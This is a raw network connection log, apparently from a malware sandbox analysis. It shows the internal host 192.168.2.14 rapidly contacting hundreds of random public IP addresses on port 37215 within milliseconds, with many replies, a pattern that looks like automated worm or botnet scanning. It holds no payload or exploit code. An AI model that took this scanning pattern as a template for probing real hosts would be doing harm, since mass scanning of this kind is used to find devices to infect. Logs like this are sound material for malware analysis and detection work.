Aug 1, 2024 15:35:00.197613001 CEST	47767	37215	192.168.2.14	197.252.109.160
Aug 1, 2024 15:35:00.197629929 CEST	47767	37215	192.168.2.14	41.93.239.250
Aug 1, 2024 15:35:00.197633028 CEST	47767	37215	192.168.2.14	41.79.51.127
Aug 1, 2024 15:35:00.197654009 CEST	47767	37215	192.168.2.14	157.168.237.170
Aug 1, 2024 15:35:00.197662115 CEST	47767	37215	192.168.2.14	157.162.59.167
Aug 1, 2024 15:35:00.197676897 CEST	47767	37215	192.168.2.14	157.138.235.247
Aug 1, 2024 15:35:00.197684050 CEST	47767	37215	192.168.2.14	197.220.63.23
Aug 1, 2024 15:35:00.197700024 CEST	47767	37215	192.168.2.14	208.74.231.109
Aug 1, 2024 15:35:00.197719097 CEST	47767	37215	192.168.2.14	157.251.22.131
Aug 1, 2024 15:35:00.197726965 CEST	47767	37215	192.168.2.14	157.186.144.128
Aug 1, 2024 15:35:00.197734118 CEST	47767	37215	192.168.2.14	161.144.9.113
Aug 1, 2024 15:35:00.197748899 CEST	47767	37215	192.168.2.14	197.34.136.31
Aug 1, 2024 15:35:00.197765112 CEST	47767	37215	192.168.2.14	157.188.54.84
Aug 1, 2024 15:35:00.197776079 CEST	47767	37215	192.168.2.14	149.182.24.212
Aug 1, 2024 15:35:00.197791100 CEST	47767	37215	192.168.2.14	41.64.2.28
Aug 1, 2024 15:35:00.197803020 CEST	47767	37215	192.168.2.14	157.122.1.79
Aug 1, 2024 15:35:00.197808981 CEST	47767	37215	192.168.2.14	41.31.61.151
Aug 1, 2024 15:35:00.197827101 CEST	47767	37215	192.168.2.14	157.69.69.30
Aug 1, 2024 15:35:00.197844028 CEST	47767	37215	192.168.2.14	157.52.249.15
Aug 1, 2024 15:35:00.197844028 CEST	47767	37215	192.168.2.14	197.220.223.202
Aug 1, 2024 15:35:00.197863102 CEST	47767	37215	192.168.2.14	74.206.99.129
Aug 1, 2024 15:35:00.197875023 CEST	47767	37215	192.168.2.14	97.50.147.26
Aug 1, 2024 15:35:00.197887897 CEST	47767	37215	192.168.2.14	41.95.234.69
Aug 1, 2024 15:35:00.197904110 CEST	47767	37215	192.168.2.14	41.224.9.154
Aug 1, 2024 15:35:00.197911024 CEST	47767	37215	192.168.2.14	157.205.27.217
Aug 1, 2024 15:35:00.197921038 CEST	47767	37215	192.168.2.14	41.96.196.145
Aug 1, 2024 15:35:00.197930098 CEST	47767	37215	192.168.2.14	121.231.102.224
Aug 1, 2024 15:35:00.197957993 CEST	47767	37215	192.168.2.14	197.243.45.30
Aug 1, 2024 15:35:00.197957993 CEST	47767	37215	192.168.2.14	41.236.143.128
Aug 1, 2024 15:35:00.197964907 CEST	47767	37215	192.168.2.14	157.38.116.57
Aug 1, 2024 15:35:00.197987080 CEST	47767	37215	192.168.2.14	197.55.152.79
Aug 1, 2024 15:35:00.197995901 CEST	47767	37215	192.168.2.14	41.65.131.251
Aug 1, 2024 15:35:00.198019028 CEST	47767	37215	192.168.2.14	136.80.44.106
Aug 1, 2024 15:35:00.198030949 CEST	47767	37215	192.168.2.14	157.213.60.179
Aug 1, 2024 15:35:00.198044062 CEST	47767	37215	192.168.2.14	41.116.208.152
Aug 1, 2024 15:35:00.198048115 CEST	47767	37215	192.168.2.14	222.218.126.239
Aug 1, 2024 15:35:00.198065042 CEST	47767	37215	192.168.2.14	75.163.135.119
Aug 1, 2024 15:35:00.198076963 CEST	47767	37215	192.168.2.14	72.26.92.56
Aug 1, 2024 15:35:00.198091984 CEST	47767	37215	192.168.2.14	41.238.211.83
Aug 1, 2024 15:35:00.198100090 CEST	47767	37215	192.168.2.14	87.204.213.182
Aug 1, 2024 15:35:00.198117018 CEST	47767	37215	192.168.2.14	85.135.47.10
Aug 1, 2024 15:35:00.198129892 CEST	47767	37215	192.168.2.14	197.72.149.214
Aug 1, 2024 15:35:00.198142052 CEST	47767	37215	192.168.2.14	41.255.110.42
Aug 1, 2024 15:35:00.198160887 CEST	47767	37215	192.168.2.14	197.193.166.188
Aug 1, 2024 15:35:00.198173046 CEST	47767	37215	192.168.2.14	157.255.24.39
Aug 1, 2024 15:35:00.198183060 CEST	47767	37215	192.168.2.14	41.8.196.137
Aug 1, 2024 15:35:00.198203087 CEST	47767	37215	192.168.2.14	157.142.237.31
Aug 1, 2024 15:35:00.198203087 CEST	47767	37215	192.168.2.14	41.231.95.124
Aug 1, 2024 15:35:00.198210001 CEST	47767	37215	192.168.2.14	197.220.153.132
Aug 1, 2024 15:35:00.198225021 CEST	47767	37215	192.168.2.14	89.90.114.110
Aug 1, 2024 15:35:00.198252916 CEST	47767	37215	192.168.2.14	197.115.167.253
Aug 1, 2024 15:35:00.198271036 CEST	47767	37215	192.168.2.14	41.94.200.82
Aug 1, 2024 15:35:00.198273897 CEST	47767	37215	192.168.2.14	197.254.249.95
Aug 1, 2024 15:35:00.198286057 CEST	47767	37215	192.168.2.14	157.125.174.157
Aug 1, 2024 15:35:00.198302984 CEST	47767	37215	192.168.2.14	157.80.134.74
Aug 1, 2024 15:35:00.198302984 CEST	47767	37215	192.168.2.14	153.133.129.250
Aug 1, 2024 15:35:00.198328018 CEST	47767	37215	192.168.2.14	41.88.112.173
Aug 1, 2024 15:35:00.198328018 CEST	47767	37215	192.168.2.14	197.206.9.113
Aug 1, 2024 15:35:00.198354006 CEST	47767	37215	192.168.2.14	157.102.17.251
Aug 1, 2024 15:35:00.198370934 CEST	47767	37215	192.168.2.14	41.220.44.61
Aug 1, 2024 15:35:00.198375940 CEST	47767	37215	192.168.2.14	41.41.204.126
Aug 1, 2024 15:35:00.198385954 CEST	47767	37215	192.168.2.14	41.255.76.187
Aug 1, 2024 15:35:00.198407888 CEST	47767	37215	192.168.2.14	41.138.148.220
Aug 1, 2024 15:35:00.198412895 CEST	47767	37215	192.168.2.14	197.117.1.12
Aug 1, 2024 15:35:00.198431015 CEST	47767	37215	192.168.2.14	134.122.141.187
Aug 1, 2024 15:35:00.198436975 CEST	47767	37215	192.168.2.14	197.88.247.27
Aug 1, 2024 15:35:00.198447943 CEST	47767	37215	192.168.2.14	41.188.12.214
Aug 1, 2024 15:35:00.198466063 CEST	47767	37215	192.168.2.14	134.137.174.133
Aug 1, 2024 15:35:00.198477983 CEST	47767	37215	192.168.2.14	41.186.103.222
Aug 1, 2024 15:35:00.198498964 CEST	47767	37215	192.168.2.14	157.56.89.238
Aug 1, 2024 15:35:00.198513985 CEST	47767	37215	192.168.2.14	201.187.159.152
Aug 1, 2024 15:35:00.198528051 CEST	47767	37215	192.168.2.14	41.192.147.160
Aug 1, 2024 15:35:00.199107885 CEST	36140	37215	192.168.2.14	157.147.180.179
Aug 1, 2024 15:35:00.199784994 CEST	39948	37215	192.168.2.14	23.22.18.80
Aug 1, 2024 15:35:00.200474977 CEST	55318	37215	192.168.2.14	41.159.222.178
Aug 1, 2024 15:35:00.201142073 CEST	53904	37215	192.168.2.14	197.116.156.209
Aug 1, 2024 15:35:00.201627970 CEST	37215	47767	157.49.83.135	192.168.2.14
Aug 1, 2024 15:35:00.201648951 CEST	37215	47767	157.223.65.102	192.168.2.14
Aug 1, 2024 15:35:00.201677084 CEST	47767	37215	192.168.2.14	157.49.83.135
Aug 1, 2024 15:35:00.201680899 CEST	47767	37215	192.168.2.14	157.223.65.102
Aug 1, 2024 15:35:00.201709032 CEST	37215	47767	41.221.178.39	192.168.2.14
Aug 1, 2024 15:35:00.201720953 CEST	37215	47767	162.160.97.33	192.168.2.14
Aug 1, 2024 15:35:00.201730013 CEST	37215	47767	85.212.148.177	192.168.2.14
Aug 1, 2024 15:35:00.201740980 CEST	37215	47767	51.88.138.183	192.168.2.14
Aug 1, 2024 15:35:00.201751947 CEST	37215	47767	157.143.210.135	192.168.2.14
Aug 1, 2024 15:35:00.201793909 CEST	47767	37215	192.168.2.14	157.143.210.135
Aug 1, 2024 15:35:00.201807022 CEST	37215	47767	41.188.84.170	192.168.2.14
Aug 1, 2024 15:35:00.201817989 CEST	39690	37215	192.168.2.14	197.82.105.13
Aug 1, 2024 15:35:00.201818943 CEST	37215	47767	223.105.71.55	192.168.2.14
Aug 1, 2024 15:35:00.201831102 CEST	37215	47767	41.7.100.7	192.168.2.14
Aug 1, 2024 15:35:00.201839924 CEST	47767	37215	192.168.2.14	41.221.178.39
Aug 1, 2024 15:35:00.201852083 CEST	37215	47767	197.225.250.185	192.168.2.14
Aug 1, 2024 15:35:00.201855898 CEST	47767	37215	192.168.2.14	223.105.71.55
Aug 1, 2024 15:35:00.201863050 CEST	37215	47767	204.50.180.130	192.168.2.14
Aug 1, 2024 15:35:00.201864958 CEST	47767	37215	192.168.2.14	162.160.97.33
Aug 1, 2024 15:35:00.201868057 CEST	37215	47767	41.255.189.213	192.168.2.14
Aug 1, 2024 15:35:00.201874018 CEST	37215	47767	143.14.49.120	192.168.2.14
Aug 1, 2024 15:35:00.201877117 CEST	47767	37215	192.168.2.14	85.212.148.177
Aug 1, 2024 15:35:00.201878071 CEST	37215	47767	197.68.87.104	192.168.2.14
Aug 1, 2024 15:35:00.201884031 CEST	37215	47767	41.28.31.226	192.168.2.14
Aug 1, 2024 15:35:00.201894999 CEST	37215	47767	41.118.128.250	192.168.2.14
Aug 1, 2024 15:35:00.201896906 CEST	47767	37215	192.168.2.14	51.88.138.183
Aug 1, 2024 15:35:00.201899052 CEST	37215	47767	157.250.174.238	192.168.2.14
Aug 1, 2024 15:35:00.201904058 CEST	37215	47767	157.118.38.199	192.168.2.14
Aug 1, 2024 15:35:00.201905966 CEST	47767	37215	192.168.2.14	41.188.84.170
Aug 1, 2024 15:35:00.201909065 CEST	37215	47767	41.34.155.15	192.168.2.14
Aug 1, 2024 15:35:00.201911926 CEST	47767	37215	192.168.2.14	204.50.180.130
Aug 1, 2024 15:35:00.201911926 CEST	47767	37215	192.168.2.14	41.7.100.7
Aug 1, 2024 15:35:00.201916933 CEST	47767	37215	192.168.2.14	197.225.250.185
Aug 1, 2024 15:35:00.201916933 CEST	47767	37215	192.168.2.14	143.14.49.120
Aug 1, 2024 15:35:00.201917887 CEST	47767	37215	192.168.2.14	197.68.87.104
Aug 1, 2024 15:35:00.201925039 CEST	47767	37215	192.168.2.14	41.118.128.250
Aug 1, 2024 15:35:00.201926947 CEST	47767	37215	192.168.2.14	41.255.189.213
Aug 1, 2024 15:35:00.201927900 CEST	37215	47767	197.191.55.144	192.168.2.14
Aug 1, 2024 15:35:00.201935053 CEST	47767	37215	192.168.2.14	157.250.174.238
Aug 1, 2024 15:35:00.201939106 CEST	37215	47767	157.173.108.168	192.168.2.14
Aug 1, 2024 15:35:00.201948881 CEST	47767	37215	192.168.2.14	41.28.31.226
Aug 1, 2024 15:35:00.201950073 CEST	37215	47767	77.236.147.168	192.168.2.14
Aug 1, 2024 15:35:00.201955080 CEST	47767	37215	192.168.2.14	197.191.55.144
Aug 1, 2024 15:35:00.201961994 CEST	37215	47767	41.145.60.227	192.168.2.14
Aug 1, 2024 15:35:00.201962948 CEST	47767	37215	192.168.2.14	157.118.38.199
Aug 1, 2024 15:35:00.201970100 CEST	47767	37215	192.168.2.14	41.34.155.15
Aug 1, 2024 15:35:00.201972961 CEST	37215	47767	197.41.99.46	192.168.2.14
Aug 1, 2024 15:35:00.201975107 CEST	47767	37215	192.168.2.14	157.173.108.168
Aug 1, 2024 15:35:00.201983929 CEST	37215	47767	41.196.226.85	192.168.2.14
Aug 1, 2024 15:35:00.201993942 CEST	37215	47767	41.167.88.198	192.168.2.14
Aug 1, 2024 15:35:00.201998949 CEST	47767	37215	192.168.2.14	77.236.147.168
Aug 1, 2024 15:35:00.201998949 CEST	47767	37215	192.168.2.14	41.145.60.227
Aug 1, 2024 15:35:00.202003956 CEST	37215	47767	157.160.66.238	192.168.2.14
Aug 1, 2024 15:35:00.202013969 CEST	47767	37215	192.168.2.14	197.41.99.46
Aug 1, 2024 15:35:00.202014923 CEST	47767	37215	192.168.2.14	41.196.226.85
Aug 1, 2024 15:35:00.202018023 CEST	37215	47767	197.84.26.104	192.168.2.14
Aug 1, 2024 15:35:00.202028036 CEST	37215	47767	41.48.232.146	192.168.2.14
Aug 1, 2024 15:35:00.202037096 CEST	47767	37215	192.168.2.14	41.167.88.198
Aug 1, 2024 15:35:00.202038050 CEST	37215	47767	197.154.179.125	192.168.2.14
Aug 1, 2024 15:35:00.202047110 CEST	37215	47767	157.202.205.159	192.168.2.14
Aug 1, 2024 15:35:00.202049971 CEST	47767	37215	192.168.2.14	197.84.26.104
Aug 1, 2024 15:35:00.202054977 CEST	47767	37215	192.168.2.14	157.160.66.238
Aug 1, 2024 15:35:00.202056885 CEST	37215	47767	197.76.75.18	192.168.2.14
Aug 1, 2024 15:35:00.202059984 CEST	47767	37215	192.168.2.14	41.48.232.146
Aug 1, 2024 15:35:00.202073097 CEST	47767	37215	192.168.2.14	197.154.179.125
Aug 1, 2024 15:35:00.202075958 CEST	47767	37215	192.168.2.14	157.202.205.159
Aug 1, 2024 15:35:00.202095985 CEST	47767	37215	192.168.2.14	197.76.75.18
Aug 1, 2024 15:35:00.202543974 CEST	43764	37215	192.168.2.14	157.52.2.31
Aug 1, 2024 15:35:00.202652931 CEST	37215	47767	197.35.124.97	192.168.2.14
Aug 1, 2024 15:35:00.202665091 CEST	37215	47767	41.117.208.122	192.168.2.14
Aug 1, 2024 15:35:00.202675104 CEST	37215	47767	41.236.128.166	192.168.2.14
Aug 1, 2024 15:35:00.202696085 CEST	37215	47767	197.64.25.238	192.168.2.14
Aug 1, 2024 15:35:00.202697039 CEST	47767	37215	192.168.2.14	197.35.124.97
Aug 1, 2024 15:35:00.202698946 CEST	47767	37215	192.168.2.14	41.117.208.122
Aug 1, 2024 15:35:00.202706099 CEST	37215	47767	197.118.152.6	192.168.2.14
Aug 1, 2024 15:35:00.202713013 CEST	47767	37215	192.168.2.14	41.236.128.166
Aug 1, 2024 15:35:00.202718019 CEST	37215	47767	157.249.110.127	192.168.2.14
Aug 1, 2024 15:35:00.202725887 CEST	47767	37215	192.168.2.14	197.64.25.238
Aug 1, 2024 15:35:00.202734947 CEST	37215	47767	41.16.97.184	192.168.2.14
Aug 1, 2024 15:35:00.202743053 CEST	47767	37215	192.168.2.14	157.249.110.127
Aug 1, 2024 15:35:00.202745914 CEST	37215	47767	197.247.217.55	192.168.2.14
Aug 1, 2024 15:35:00.202749014 CEST	47767	37215	192.168.2.14	197.118.152.6
Aug 1, 2024 15:35:00.202754974 CEST	37215	47767	197.157.62.174	192.168.2.14
Aug 1, 2024 15:35:00.202765942 CEST	37215	47767	157.58.230.186	192.168.2.14
Aug 1, 2024 15:35:00.202775955 CEST	47767	37215	192.168.2.14	41.16.97.184
Aug 1, 2024 15:35:00.202785015 CEST	47767	37215	192.168.2.14	197.247.217.55
Aug 1, 2024 15:35:00.202785969 CEST	37215	47767	157.153.218.110	192.168.2.14
Aug 1, 2024 15:35:00.202788115 CEST	47767	37215	192.168.2.14	197.157.62.174
Aug 1, 2024 15:35:00.202789068 CEST	47767	37215	192.168.2.14	157.58.230.186
Aug 1, 2024 15:35:00.202795982 CEST	37215	47767	41.184.46.15	192.168.2.14
Aug 1, 2024 15:35:00.202807903 CEST	37215	47767	41.224.223.65	192.168.2.14
Aug 1, 2024 15:35:00.202820063 CEST	37215	47767	157.59.102.15	192.168.2.14
Aug 1, 2024 15:35:00.202828884 CEST	37215	47767	197.85.49.146	192.168.2.14
Aug 1, 2024 15:35:00.202830076 CEST	47767	37215	192.168.2.14	41.184.46.15
Aug 1, 2024 15:35:00.202838898 CEST	37215	47767	41.100.89.26	192.168.2.14
Aug 1, 2024 15:35:00.202851057 CEST	37215	47767	203.2.242.108	192.168.2.14
Aug 1, 2024 15:35:00.202861071 CEST	37215	47767	157.100.228.18	192.168.2.14
Aug 1, 2024 15:35:00.202861071 CEST	47767	37215	192.168.2.14	197.85.49.146
Aug 1, 2024 15:35:00.202877998 CEST	47767	37215	192.168.2.14	157.153.218.110
Aug 1, 2024 15:35:00.202881098 CEST	37215	47767	197.148.88.22	192.168.2.14
Aug 1, 2024 15:35:00.202883959 CEST	47767	37215	192.168.2.14	41.100.89.26
Aug 1, 2024 15:35:00.202888966 CEST	47767	37215	192.168.2.14	41.224.223.65
Aug 1, 2024 15:35:00.202893019 CEST	37215	47767	157.59.31.33	192.168.2.14
Aug 1, 2024 15:35:00.202903986 CEST	37215	47767	157.155.98.229	192.168.2.14
Aug 1, 2024 15:35:00.202905893 CEST	47767	37215	192.168.2.14	157.59.102.15
Aug 1, 2024 15:35:00.202905893 CEST	47767	37215	192.168.2.14	203.2.242.108
Aug 1, 2024 15:35:00.202909946 CEST	47767	37215	192.168.2.14	157.100.228.18
Aug 1, 2024 15:35:00.202914953 CEST	37215	47767	158.31.87.12	192.168.2.14
Aug 1, 2024 15:35:00.202919960 CEST	47767	37215	192.168.2.14	157.59.31.33
Aug 1, 2024 15:35:00.202924967 CEST	37215	47767	184.31.41.186	192.168.2.14
Aug 1, 2024 15:35:00.202924967 CEST	47767	37215	192.168.2.14	197.148.88.22
Aug 1, 2024 15:35:00.202934980 CEST	37215	47767	119.153.171.60	192.168.2.14
Aug 1, 2024 15:35:00.202941895 CEST	47767	37215	192.168.2.14	157.155.98.229
Aug 1, 2024 15:35:00.202943087 CEST	47767	37215	192.168.2.14	158.31.87.12
Aug 1, 2024 15:35:00.202946901 CEST	37215	47767	41.141.237.19	192.168.2.14
Aug 1, 2024 15:35:00.202956915 CEST	37215	47767	157.235.10.150	192.168.2.14
Aug 1, 2024 15:35:00.202959061 CEST	47767	37215	192.168.2.14	184.31.41.186
Aug 1, 2024 15:35:00.202967882 CEST	37215	47767	218.157.16.119	192.168.2.14
Aug 1, 2024 15:35:00.202970028 CEST	47767	37215	192.168.2.14	119.153.171.60
Aug 1, 2024 15:35:00.202980042 CEST	37215	47767	157.186.131.240	192.168.2.14
Aug 1, 2024 15:35:00.202984095 CEST	47767	37215	192.168.2.14	41.141.237.19
Aug 1, 2024 15:35:00.202990055 CEST	47767	37215	192.168.2.14	157.235.10.150
Aug 1, 2024 15:35:00.202999115 CEST	47767	37215	192.168.2.14	218.157.16.119
Aug 1, 2024 15:35:00.203015089 CEST	47767	37215	192.168.2.14	157.186.131.240
Aug 1, 2024 15:35:00.203309059 CEST	39344	37215	192.168.2.14	157.14.74.18
Aug 1, 2024 15:35:00.203401089 CEST	37215	47767	197.208.171.180	192.168.2.14
Aug 1, 2024 15:35:00.203412056 CEST	37215	47767	197.101.175.81	192.168.2.14
Aug 1, 2024 15:35:00.203423023 CEST	37215	47767	187.231.32.214	192.168.2.14
Aug 1, 2024 15:35:00.203433037 CEST	37215	47767	197.117.158.44	192.168.2.14
Aug 1, 2024 15:35:00.203442097 CEST	47767	37215	192.168.2.14	197.208.171.180
Aug 1, 2024 15:35:00.203442097 CEST	37215	47767	41.228.122.139	192.168.2.14
Aug 1, 2024 15:35:00.203454018 CEST	37215	47767	197.137.102.195	192.168.2.14
Aug 1, 2024 15:35:00.203454018 CEST	47767	37215	192.168.2.14	197.101.175.81
Aug 1, 2024 15:35:00.203460932 CEST	47767	37215	192.168.2.14	187.231.32.214
Aug 1, 2024 15:35:00.203466892 CEST	47767	37215	192.168.2.14	197.117.158.44
Aug 1, 2024 15:35:00.203471899 CEST	47767	37215	192.168.2.14	41.228.122.139
Aug 1, 2024 15:35:00.203495979 CEST	47767	37215	192.168.2.14	197.137.102.195
Aug 1, 2024 15:35:00.203538895 CEST	37215	47767	157.219.230.43	192.168.2.14
Aug 1, 2024 15:35:00.203551054 CEST	37215	47767	197.5.124.104	192.168.2.14
Aug 1, 2024 15:35:00.203561068 CEST	37215	47767	197.162.160.236	192.168.2.14
Aug 1, 2024 15:35:00.203572989 CEST	37215	47767	197.26.95.246	192.168.2.14
Aug 1, 2024 15:35:00.203576088 CEST	47767	37215	192.168.2.14	157.219.230.43
Aug 1, 2024 15:35:00.203583002 CEST	37215	47767	41.152.153.110	192.168.2.14
Aug 1, 2024 15:35:00.203588963 CEST	47767	37215	192.168.2.14	197.5.124.104
Aug 1, 2024 15:35:00.203593969 CEST	37215	47767	41.4.22.30	192.168.2.14
Aug 1, 2024 15:35:00.203598022 CEST	47767	37215	192.168.2.14	197.26.95.246
Aug 1, 2024 15:35:00.203599930 CEST	47767	37215	192.168.2.14	197.162.160.236
Aug 1, 2024 15:35:00.203605890 CEST	37215	47767	157.0.120.90	192.168.2.14
Aug 1, 2024 15:35:00.203613997 CEST	47767	37215	192.168.2.14	41.152.153.110
Aug 1, 2024 15:35:00.203617096 CEST	37215	47767	181.128.222.130	192.168.2.14
Aug 1, 2024 15:35:00.203627110 CEST	37215	47767	197.228.215.245	192.168.2.14
Aug 1, 2024 15:35:00.203629971 CEST	47767	37215	192.168.2.14	41.4.22.30
Aug 1, 2024 15:35:00.203636885 CEST	37215	47767	173.120.212.88	192.168.2.14
Aug 1, 2024 15:35:00.203639030 CEST	47767	37215	192.168.2.14	157.0.120.90
Aug 1, 2024 15:35:00.203649044 CEST	37215	47767	4.213.48.209	192.168.2.14
Aug 1, 2024 15:35:00.203650951 CEST	47767	37215	192.168.2.14	181.128.222.130
Aug 1, 2024 15:35:00.203660011 CEST	37215	47767	41.42.104.79	192.168.2.14
Aug 1, 2024 15:35:00.203666925 CEST	47767	37215	192.168.2.14	197.228.215.245
Aug 1, 2024 15:35:00.203669071 CEST	47767	37215	192.168.2.14	173.120.212.88
Aug 1, 2024 15:35:00.203680992 CEST	37215	47767	197.69.87.47	192.168.2.14
Aug 1, 2024 15:35:00.203680992 CEST	47767	37215	192.168.2.14	4.213.48.209
Aug 1, 2024 15:35:00.203691006 CEST	37215	47767	197.128.225.94	192.168.2.14
Aug 1, 2024 15:35:00.203695059 CEST	47767	37215	192.168.2.14	41.42.104.79
Aug 1, 2024 15:35:00.203701019 CEST	37215	47767	157.235.98.39	192.168.2.14
Aug 1, 2024 15:35:00.203711033 CEST	37215	47767	197.230.135.210	192.168.2.14
Aug 1, 2024 15:35:00.203722000 CEST	47767	37215	192.168.2.14	197.69.87.47
Aug 1, 2024 15:35:00.203722000 CEST	37215	47767	157.45.113.115	192.168.2.14
Aug 1, 2024 15:35:00.203733921 CEST	37215	47767	41.5.218.231	192.168.2.14
Aug 1, 2024 15:35:00.203735113 CEST	47767	37215	192.168.2.14	197.128.225.94
Aug 1, 2024 15:35:00.203738928 CEST	47767	37215	192.168.2.14	157.235.98.39
Aug 1, 2024 15:35:00.203739882 CEST	47767	37215	192.168.2.14	197.230.135.210
Aug 1, 2024 15:35:00.203743935 CEST	37215	47767	197.202.200.221	192.168.2.14
Aug 1, 2024 15:35:00.203754902 CEST	37215	47767	157.116.208.106	192.168.2.14
Aug 1, 2024 15:35:00.203758001 CEST	47767	37215	192.168.2.14	157.45.113.115
Aug 1, 2024 15:35:00.203763008 CEST	47767	37215	192.168.2.14	41.5.218.231
Aug 1, 2024 15:35:00.203763962 CEST	37215	47767	216.224.130.66	192.168.2.14
Aug 1, 2024 15:35:00.203775883 CEST	37215	47767	23.135.192.88	192.168.2.14
Aug 1, 2024 15:35:00.203787088 CEST	47767	37215	192.168.2.14	157.116.208.106
Aug 1, 2024 15:35:00.203787088 CEST	47767	37215	192.168.2.14	197.202.200.221
Aug 1, 2024 15:35:00.203797102 CEST	47767	37215	192.168.2.14	216.224.130.66
Aug 1, 2024 15:35:00.203819990 CEST	47767	37215	192.168.2.14	23.135.192.88
Aug 1, 2024 15:35:00.204020977 CEST	37215	47767	157.0.172.121	192.168.2.14
Aug 1, 2024 15:35:00.204030991 CEST	37215	47767	197.85.104.31	192.168.2.14
Aug 1, 2024 15:35:00.204041004 CEST	37215	47767	157.253.2.199	192.168.2.14
Aug 1, 2024 15:35:00.204051018 CEST	47767	37215	192.168.2.14	157.0.172.121
Aug 1, 2024 15:35:00.204051971 CEST	37215	47767	197.241.51.34	192.168.2.14
Aug 1, 2024 15:35:00.204072952 CEST	46784	37215	192.168.2.14	197.82.241.173
Aug 1, 2024 15:35:00.204080105 CEST	47767	37215	192.168.2.14	197.85.104.31
Aug 1, 2024 15:35:00.204082012 CEST	37215	47767	197.128.163.1	192.168.2.14
Aug 1, 2024 15:35:00.204090118 CEST	47767	37215	192.168.2.14	157.253.2.199
Aug 1, 2024 15:35:00.204094887 CEST	37215	47767	197.66.185.131	192.168.2.14
Aug 1, 2024 15:35:00.204099894 CEST	47767	37215	192.168.2.14	197.241.51.34
Aug 1, 2024 15:35:00.204104900 CEST	37215	47767	41.127.100.57	192.168.2.14
Aug 1, 2024 15:35:00.204116106 CEST	37215	47767	157.241.140.54	192.168.2.14
Aug 1, 2024 15:35:00.204119921 CEST	47767	37215	192.168.2.14	197.128.163.1
Aug 1, 2024 15:35:00.204125881 CEST	37215	47767	41.143.86.41	192.168.2.14
Aug 1, 2024 15:35:00.204128981 CEST	47767	37215	192.168.2.14	197.66.185.131
Aug 1, 2024 15:35:00.204133034 CEST	47767	37215	192.168.2.14	41.127.100.57
Aug 1, 2024 15:35:00.204138041 CEST	37215	47767	41.202.156.5	192.168.2.14
Aug 1, 2024 15:35:00.204159021 CEST	37215	47767	197.138.2.68	192.168.2.14
Aug 1, 2024 15:35:00.204169989 CEST	37215	47767	41.181.113.107	192.168.2.14
Aug 1, 2024 15:35:00.204179049 CEST	47767	37215	192.168.2.14	157.241.140.54
Aug 1, 2024 15:35:00.204180002 CEST	47767	37215	192.168.2.14	41.143.86.41
Aug 1, 2024 15:35:00.204180002 CEST	37215	47767	129.61.33.78	192.168.2.14
Aug 1, 2024 15:35:00.204180956 CEST	47767	37215	192.168.2.14	41.202.156.5
Aug 1, 2024 15:35:00.204190969 CEST	47767	37215	192.168.2.14	197.138.2.68
Aug 1, 2024 15:35:00.204193115 CEST	37215	47767	157.38.122.143	192.168.2.14
Aug 1, 2024 15:35:00.204200983 CEST	47767	37215	192.168.2.14	41.181.113.107
Aug 1, 2024 15:35:00.204202890 CEST	37215	47767	84.64.114.150	192.168.2.14
Aug 1, 2024 15:35:00.204215050 CEST	37215	47767	41.165.69.57	192.168.2.14
Aug 1, 2024 15:35:00.204217911 CEST	47767	37215	192.168.2.14	129.61.33.78
Aug 1, 2024 15:35:00.204230070 CEST	47767	37215	192.168.2.14	157.38.122.143
Aug 1, 2024 15:35:00.204231024 CEST	47767	37215	192.168.2.14	84.64.114.150
Aug 1, 2024 15:35:00.204253912 CEST	47767	37215	192.168.2.14	41.165.69.57
Aug 1, 2024 15:35:00.204256058 CEST	37215	47767	41.51.69.32	192.168.2.14
Aug 1, 2024 15:35:00.204272985 CEST	37215	47767	13.169.92.113	192.168.2.14
Aug 1, 2024 15:35:00.204289913 CEST	37215	47767	41.136.214.38	192.168.2.14
Aug 1, 2024 15:35:00.204292059 CEST	47767	37215	192.168.2.14	41.51.69.32
Aug 1, 2024 15:35:00.204299927 CEST	37215	47767	41.155.84.228	192.168.2.14
Aug 1, 2024 15:35:00.204308033 CEST	47767	37215	192.168.2.14	13.169.92.113
Aug 1, 2024 15:35:00.204310894 CEST	37215	47767	41.120.87.113	192.168.2.14
Aug 1, 2024 15:35:00.204320908 CEST	37215	47767	41.219.223.6	192.168.2.14
Aug 1, 2024 15:35:00.204325914 CEST	47767	37215	192.168.2.14	41.136.214.38
Aug 1, 2024 15:35:00.204330921 CEST	37215	47767	197.55.211.177	192.168.2.14
Aug 1, 2024 15:35:00.204335928 CEST	47767	37215	192.168.2.14	41.155.84.228
Aug 1, 2024 15:35:00.204339027 CEST	47767	37215	192.168.2.14	41.120.87.113
Aug 1, 2024 15:35:00.204341888 CEST	37215	47767	141.89.1.159	192.168.2.14
Aug 1, 2024 15:35:00.204354048 CEST	37215	47767	158.91.53.20	192.168.2.14
Aug 1, 2024 15:35:00.204355001 CEST	47767	37215	192.168.2.14	41.219.223.6
Aug 1, 2024 15:35:00.204364061 CEST	37215	47767	45.88.250.160	192.168.2.14
Aug 1, 2024 15:35:00.204374075 CEST	47767	37215	192.168.2.14	197.55.211.177
Aug 1, 2024 15:35:00.204375029 CEST	37215	47767	41.8.61.252	192.168.2.14
Aug 1, 2024 15:35:00.204376936 CEST	47767	37215	192.168.2.14	141.89.1.159
Aug 1, 2024 15:35:00.204382896 CEST	47767	37215	192.168.2.14	158.91.53.20
Aug 1, 2024 15:35:00.204385996 CEST	37215	47767	197.62.47.201	192.168.2.14
Aug 1, 2024 15:35:00.204391003 CEST	47767	37215	192.168.2.14	45.88.250.160
Aug 1, 2024 15:35:00.204411030 CEST	47767	37215	192.168.2.14	41.8.61.252
Aug 1, 2024 15:35:00.204417944 CEST	47767	37215	192.168.2.14	197.62.47.201
Aug 1, 2024 15:35:00.204787016 CEST	37215	47767	19.13.23.244	192.168.2.14
Aug 1, 2024 15:35:00.204797983 CEST	37215	47767	177.125.32.185	192.168.2.14
Aug 1, 2024 15:35:00.204799891 CEST	37854	37215	192.168.2.14	197.224.170.133
Aug 1, 2024 15:35:00.204807043 CEST	37215	47767	41.167.85.107	192.168.2.14
Aug 1, 2024 15:35:00.204818010 CEST	37215	47767	41.223.4.181	192.168.2.14
Aug 1, 2024 15:35:00.204826117 CEST	47767	37215	192.168.2.14	19.13.23.244
Aug 1, 2024 15:35:00.204828024 CEST	37215	47767	157.34.39.79	192.168.2.14
Aug 1, 2024 15:35:00.204839945 CEST	37215	47767	41.106.51.74	192.168.2.14
Aug 1, 2024 15:35:00.204840899 CEST	47767	37215	192.168.2.14	41.167.85.107
Aug 1, 2024 15:35:00.204840899 CEST	47767	37215	192.168.2.14	177.125.32.185
Aug 1, 2024 15:35:00.204840899 CEST	47767	37215	192.168.2.14	41.223.4.181
Aug 1, 2024 15:35:00.204849005 CEST	37215	47767	197.63.208.71	192.168.2.14
